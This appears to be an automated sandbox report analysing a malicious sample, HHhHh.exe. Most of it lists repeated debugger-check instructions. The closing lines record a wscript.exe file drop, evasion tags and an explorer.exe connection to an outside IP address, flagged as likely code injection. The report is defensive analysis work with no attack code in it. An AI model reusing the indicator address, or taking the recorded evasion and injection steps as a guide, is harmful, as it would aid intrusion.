Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012CA660 mov eax, dword ptr fs:[00000030h]	4_2_012CA660
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012C2674 mov eax, dword ptr fs:[00000030h]	4_2_012C2674
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0135866E mov eax, dword ptr fs:[00000030h]	4_2_0135866E
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0135866E mov eax, dword ptr fs:[00000030h]	4_2_0135866E
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012AC640 mov eax, dword ptr fs:[00000030h]	4_2_012AC640
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012CC6A6 mov eax, dword ptr fs:[00000030h]	4_2_012CC6A6
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012C66B0 mov eax, dword ptr fs:[00000030h]	4_2_012C66B0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01294690 mov eax, dword ptr fs:[00000030h]	4_2_01294690
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01294690 mov eax, dword ptr fs:[00000030h]	4_2_01294690
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_013106F1 mov eax, dword ptr fs:[00000030h]	4_2_013106F1
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_013106F1 mov eax, dword ptr fs:[00000030h]	4_2_013106F1
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0130E6F2 mov eax, dword ptr fs:[00000030h]	4_2_0130E6F2
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0130E6F2 mov eax, dword ptr fs:[00000030h]	4_2_0130E6F2
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0130E6F2 mov eax, dword ptr fs:[00000030h]	4_2_0130E6F2
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0130E6F2 mov eax, dword ptr fs:[00000030h]	4_2_0130E6F2
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012CA6C7 mov ebx, dword ptr fs:[00000030h]	4_2_012CA6C7
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012CA6C7 mov eax, dword ptr fs:[00000030h]	4_2_012CA6C7
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0132892B mov eax, dword ptr fs:[00000030h]	4_2_0132892B
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0131892A mov eax, dword ptr fs:[00000030h]	4_2_0131892A
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0131C912 mov eax, dword ptr fs:[00000030h]	4_2_0131C912
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01288918 mov eax, dword ptr fs:[00000030h]	4_2_01288918
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01288918 mov eax, dword ptr fs:[00000030h]	4_2_01288918
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0130E908 mov eax, dword ptr fs:[00000030h]	4_2_0130E908
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0130E908 mov eax, dword ptr fs:[00000030h]	4_2_0130E908
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012D096E mov eax, dword ptr fs:[00000030h]	4_2_012D096E
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012D096E mov edx, dword ptr fs:[00000030h]	4_2_012D096E
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012D096E mov eax, dword ptr fs:[00000030h]	4_2_012D096E
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012B6962 mov eax, dword ptr fs:[00000030h]	4_2_012B6962
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012B6962 mov eax, dword ptr fs:[00000030h]	4_2_012B6962
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012B6962 mov eax, dword ptr fs:[00000030h]	4_2_012B6962
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01334978 mov eax, dword ptr fs:[00000030h]	4_2_01334978
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01334978 mov eax, dword ptr fs:[00000030h]	4_2_01334978
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0131C97C mov eax, dword ptr fs:[00000030h]	4_2_0131C97C
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01310946 mov eax, dword ptr fs:[00000030h]	4_2_01310946
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_013189B3 mov esi, dword ptr fs:[00000030h]	4_2_013189B3
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_013189B3 mov eax, dword ptr fs:[00000030h]	4_2_013189B3
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_013189B3 mov eax, dword ptr fs:[00000030h]	4_2_013189B3
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012909AD mov eax, dword ptr fs:[00000030h]	4_2_012909AD
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012909AD mov eax, dword ptr fs:[00000030h]	4_2_012909AD
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012A29A0 mov eax, dword ptr fs:[00000030h]	4_2_012A29A0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012A29A0 mov eax, dword ptr fs:[00000030h]	4_2_012A29A0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012A29A0 mov eax, dword ptr fs:[00000030h]	4_2_012A29A0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012A29A0 mov eax, dword ptr fs:[00000030h]	4_2_012A29A0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012A29A0 mov eax, dword ptr fs:[00000030h]	4_2_012A29A0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012A29A0 mov eax, dword ptr fs:[00000030h]	4_2_012A29A0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012A29A0 mov eax, dword ptr fs:[00000030h]	4_2_012A29A0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012A29A0 mov eax, dword ptr fs:[00000030h]	4_2_012A29A0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012A29A0 mov eax, dword ptr fs:[00000030h]	4_2_012A29A0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012A29A0 mov eax, dword ptr fs:[00000030h]	4_2_012A29A0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012A29A0 mov eax, dword ptr fs:[00000030h]	4_2_012A29A0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012A29A0 mov eax, dword ptr fs:[00000030h]	4_2_012A29A0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012A29A0 mov eax, dword ptr fs:[00000030h]	4_2_012A29A0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0131E9E0 mov eax, dword ptr fs:[00000030h]	4_2_0131E9E0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012C29F9 mov eax, dword ptr fs:[00000030h]	4_2_012C29F9
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012C29F9 mov eax, dword ptr fs:[00000030h]	4_2_012C29F9
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0135A9D3 mov eax, dword ptr fs:[00000030h]	4_2_0135A9D3
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_013269C0 mov eax, dword ptr fs:[00000030h]	4_2_013269C0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0129A9D0 mov eax, dword ptr fs:[00000030h]	4_2_0129A9D0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0129A9D0 mov eax, dword ptr fs:[00000030h]	4_2_0129A9D0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0129A9D0 mov eax, dword ptr fs:[00000030h]	4_2_0129A9D0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0129A9D0 mov eax, dword ptr fs:[00000030h]	4_2_0129A9D0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0129A9D0 mov eax, dword ptr fs:[00000030h]	4_2_0129A9D0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0129A9D0 mov eax, dword ptr fs:[00000030h]	4_2_0129A9D0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012C49D0 mov eax, dword ptr fs:[00000030h]	4_2_012C49D0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0133483A mov eax, dword ptr fs:[00000030h]	4_2_0133483A
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0133483A mov eax, dword ptr fs:[00000030h]	4_2_0133483A
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012CA830 mov eax, dword ptr fs:[00000030h]	4_2_012CA830
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012B2835 mov eax, dword ptr fs:[00000030h]	4_2_012B2835
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012B2835 mov eax, dword ptr fs:[00000030h]	4_2_012B2835
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012B2835 mov eax, dword ptr fs:[00000030h]	4_2_012B2835
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012B2835 mov ecx, dword ptr fs:[00000030h]	4_2_012B2835
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012B2835 mov eax, dword ptr fs:[00000030h]	4_2_012B2835
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012B2835 mov eax, dword ptr fs:[00000030h]	4_2_012B2835
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0131C810 mov eax, dword ptr fs:[00000030h]	4_2_0131C810
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01326870 mov eax, dword ptr fs:[00000030h]	4_2_01326870
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01326870 mov eax, dword ptr fs:[00000030h]	4_2_01326870
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0131E872 mov eax, dword ptr fs:[00000030h]	4_2_0131E872
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0131E872 mov eax, dword ptr fs:[00000030h]	4_2_0131E872
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012A2840 mov ecx, dword ptr fs:[00000030h]	4_2_012A2840
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01294859 mov eax, dword ptr fs:[00000030h]	4_2_01294859
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01294859 mov eax, dword ptr fs:[00000030h]	4_2_01294859
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012C0854 mov eax, dword ptr fs:[00000030h]	4_2_012C0854
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0131C89D mov eax, dword ptr fs:[00000030h]	4_2_0131C89D
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01290887 mov eax, dword ptr fs:[00000030h]	4_2_01290887
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0135A8E4 mov eax, dword ptr fs:[00000030h]	4_2_0135A8E4
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012CC8F9 mov eax, dword ptr fs:[00000030h]	4_2_012CC8F9
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012CC8F9 mov eax, dword ptr fs:[00000030h]	4_2_012CC8F9
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012BE8C0 mov eax, dword ptr fs:[00000030h]	4_2_012BE8C0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012BEB20 mov eax, dword ptr fs:[00000030h]	4_2_012BEB20
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012BEB20 mov eax, dword ptr fs:[00000030h]	4_2_012BEB20
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01358B28 mov eax, dword ptr fs:[00000030h]	4_2_01358B28
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01358B28 mov eax, dword ptr fs:[00000030h]	4_2_01358B28
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0130EB1D mov eax, dword ptr fs:[00000030h]	4_2_0130EB1D
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0130EB1D mov eax, dword ptr fs:[00000030h]	4_2_0130EB1D
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0130EB1D mov eax, dword ptr fs:[00000030h]	4_2_0130EB1D
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0130EB1D mov eax, dword ptr fs:[00000030h]	4_2_0130EB1D
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0130EB1D mov eax, dword ptr fs:[00000030h]	4_2_0130EB1D
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0130EB1D mov eax, dword ptr fs:[00000030h]	4_2_0130EB1D
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0130EB1D mov eax, dword ptr fs:[00000030h]	4_2_0130EB1D
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0130EB1D mov eax, dword ptr fs:[00000030h]	4_2_0130EB1D
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0130EB1D mov eax, dword ptr fs:[00000030h]	4_2_0130EB1D
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0128CB7E mov eax, dword ptr fs:[00000030h]	4_2_0128CB7E
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01338B42 mov eax, dword ptr fs:[00000030h]	4_2_01338B42
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01326B40 mov eax, dword ptr fs:[00000030h]	4_2_01326B40
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01326B40 mov eax, dword ptr fs:[00000030h]	4_2_01326B40
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0135AB40 mov eax, dword ptr fs:[00000030h]	4_2_0135AB40
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012A0BBE mov eax, dword ptr fs:[00000030h]	4_2_012A0BBE
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012A0BBE mov eax, dword ptr fs:[00000030h]	4_2_012A0BBE
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0131CBF0 mov eax, dword ptr fs:[00000030h]	4_2_0131CBF0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012BEBFC mov eax, dword ptr fs:[00000030h]	4_2_012BEBFC
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01298BF0 mov eax, dword ptr fs:[00000030h]	4_2_01298BF0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01298BF0 mov eax, dword ptr fs:[00000030h]	4_2_01298BF0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01298BF0 mov eax, dword ptr fs:[00000030h]	4_2_01298BF0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012B0BCB mov eax, dword ptr fs:[00000030h]	4_2_012B0BCB
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012B0BCB mov eax, dword ptr fs:[00000030h]	4_2_012B0BCB
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012B0BCB mov eax, dword ptr fs:[00000030h]	4_2_012B0BCB
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0133EBD0 mov eax, dword ptr fs:[00000030h]	4_2_0133EBD0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01290BCD mov eax, dword ptr fs:[00000030h]	4_2_01290BCD
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01290BCD mov eax, dword ptr fs:[00000030h]	4_2_01290BCD
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01290BCD mov eax, dword ptr fs:[00000030h]	4_2_01290BCD
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012BEA2E mov eax, dword ptr fs:[00000030h]	4_2_012BEA2E
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012CCA24 mov eax, dword ptr fs:[00000030h]	4_2_012CCA24
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012CCA38 mov eax, dword ptr fs:[00000030h]	4_2_012CCA38
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012B4A35 mov eax, dword ptr fs:[00000030h]	4_2_012B4A35
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012B4A35 mov eax, dword ptr fs:[00000030h]	4_2_012B4A35
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0131CA11 mov eax, dword ptr fs:[00000030h]	4_2_0131CA11
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0130CA72 mov eax, dword ptr fs:[00000030h]	4_2_0130CA72
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0130CA72 mov eax, dword ptr fs:[00000030h]	4_2_0130CA72
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012CCA6F mov eax, dword ptr fs:[00000030h]	4_2_012CCA6F
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012CCA6F mov eax, dword ptr fs:[00000030h]	4_2_012CCA6F
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012CCA6F mov eax, dword ptr fs:[00000030h]	4_2_012CCA6F
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012A0A5B mov eax, dword ptr fs:[00000030h]	4_2_012A0A5B
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012A0A5B mov eax, dword ptr fs:[00000030h]	4_2_012A0A5B
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01296A50 mov eax, dword ptr fs:[00000030h]	4_2_01296A50
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01296A50 mov eax, dword ptr fs:[00000030h]	4_2_01296A50
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01296A50 mov eax, dword ptr fs:[00000030h]	4_2_01296A50
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01296A50 mov eax, dword ptr fs:[00000030h]	4_2_01296A50
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01296A50 mov eax, dword ptr fs:[00000030h]	4_2_01296A50
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01296A50 mov eax, dword ptr fs:[00000030h]	4_2_01296A50
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01296A50 mov eax, dword ptr fs:[00000030h]	4_2_01296A50
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01298AA0 mov eax, dword ptr fs:[00000030h]	4_2_01298AA0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01298AA0 mov eax, dword ptr fs:[00000030h]	4_2_01298AA0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012E6AA4 mov eax, dword ptr fs:[00000030h]	4_2_012E6AA4
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0129EA80 mov eax, dword ptr fs:[00000030h]	4_2_0129EA80
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0129EA80 mov eax, dword ptr fs:[00000030h]	4_2_0129EA80
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0129EA80 mov eax, dword ptr fs:[00000030h]	4_2_0129EA80
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0129EA80 mov eax, dword ptr fs:[00000030h]	4_2_0129EA80
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0129EA80 mov eax, dword ptr fs:[00000030h]	4_2_0129EA80
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0129EA80 mov eax, dword ptr fs:[00000030h]	4_2_0129EA80
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0129EA80 mov eax, dword ptr fs:[00000030h]	4_2_0129EA80
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0129EA80 mov eax, dword ptr fs:[00000030h]	4_2_0129EA80
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0129EA80 mov eax, dword ptr fs:[00000030h]	4_2_0129EA80
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01364A80 mov eax, dword ptr fs:[00000030h]	4_2_01364A80
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012C8A90 mov edx, dword ptr fs:[00000030h]	4_2_012C8A90
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012CAAEE mov eax, dword ptr fs:[00000030h]	4_2_012CAAEE
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012CAAEE mov eax, dword ptr fs:[00000030h]	4_2_012CAAEE
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012E6ACC mov eax, dword ptr fs:[00000030h]	4_2_012E6ACC
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012E6ACC mov eax, dword ptr fs:[00000030h]	4_2_012E6ACC
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012E6ACC mov eax, dword ptr fs:[00000030h]	4_2_012E6ACC
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01290AD0 mov eax, dword ptr fs:[00000030h]	4_2_01290AD0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012C4AD0 mov eax, dword ptr fs:[00000030h]	4_2_012C4AD0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012C4AD0 mov eax, dword ptr fs:[00000030h]	4_2_012C4AD0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01318D20 mov eax, dword ptr fs:[00000030h]	4_2_01318D20
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01348D10 mov eax, dword ptr fs:[00000030h]	4_2_01348D10
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01348D10 mov eax, dword ptr fs:[00000030h]	4_2_01348D10
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012AAD00 mov eax, dword ptr fs:[00000030h]	4_2_012AAD00
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012AAD00 mov eax, dword ptr fs:[00000030h]	4_2_012AAD00
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012AAD00 mov eax, dword ptr fs:[00000030h]	4_2_012AAD00
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012C4D1D mov eax, dword ptr fs:[00000030h]	4_2_012C4D1D
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01286D10 mov eax, dword ptr fs:[00000030h]	4_2_01286D10
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01286D10 mov eax, dword ptr fs:[00000030h]	4_2_01286D10
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01286D10 mov eax, dword ptr fs:[00000030h]	4_2_01286D10
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01328D6B mov eax, dword ptr fs:[00000030h]	4_2_01328D6B
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01290D59 mov eax, dword ptr fs:[00000030h]	4_2_01290D59
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01290D59 mov eax, dword ptr fs:[00000030h]	4_2_01290D59
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01290D59 mov eax, dword ptr fs:[00000030h]	4_2_01290D59
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01298D59 mov eax, dword ptr fs:[00000030h]	4_2_01298D59
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01298D59 mov eax, dword ptr fs:[00000030h]	4_2_01298D59
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01298D59 mov eax, dword ptr fs:[00000030h]	4_2_01298D59
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01298D59 mov eax, dword ptr fs:[00000030h]	4_2_01298D59
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01298D59 mov eax, dword ptr fs:[00000030h]	4_2_01298D59
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012C6DA0 mov eax, dword ptr fs:[00000030h]	4_2_012C6DA0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012B8DBF mov eax, dword ptr fs:[00000030h]	4_2_012B8DBF
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012B8DBF mov eax, dword ptr fs:[00000030h]	4_2_012B8DBF
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01358DAE mov eax, dword ptr fs:[00000030h]	4_2_01358DAE
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01358DAE mov eax, dword ptr fs:[00000030h]	4_2_01358DAE
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01364DAD mov eax, dword ptr fs:[00000030h]	4_2_01364DAD
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012CCDB1 mov ecx, dword ptr fs:[00000030h]	4_2_012CCDB1
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012CCDB1 mov eax, dword ptr fs:[00000030h]	4_2_012CCDB1
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012CCDB1 mov eax, dword ptr fs:[00000030h]	4_2_012CCDB1
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0128CDEA mov eax, dword ptr fs:[00000030h]	4_2_0128CDEA
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0128CDEA mov eax, dword ptr fs:[00000030h]	4_2_0128CDEA
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01330DF0 mov eax, dword ptr fs:[00000030h]	4_2_01330DF0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01330DF0 mov eax, dword ptr fs:[00000030h]	4_2_01330DF0

Source: C:\Windows\SysWOW64\wscript.exe

Code function: 6_2_009C51BD GetProcessHeap,HeapFree,

6_2_009C51BD

Source: C:\Windows\SysWOW64\wscript.exe

Code function: 6_2_009C7A38 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

6_2_009C7A38

Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe

Memory allocated: page read and write | page guard

Benign windows process drops PE files

HIPS / PFW / Operating System Protection Evasion

Source: C:\Windows\System32\wscript.exe

File created: HHhHh.exe.0.dr

Jump to dropped file

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 103.169.142.0 80			Jump to behavior
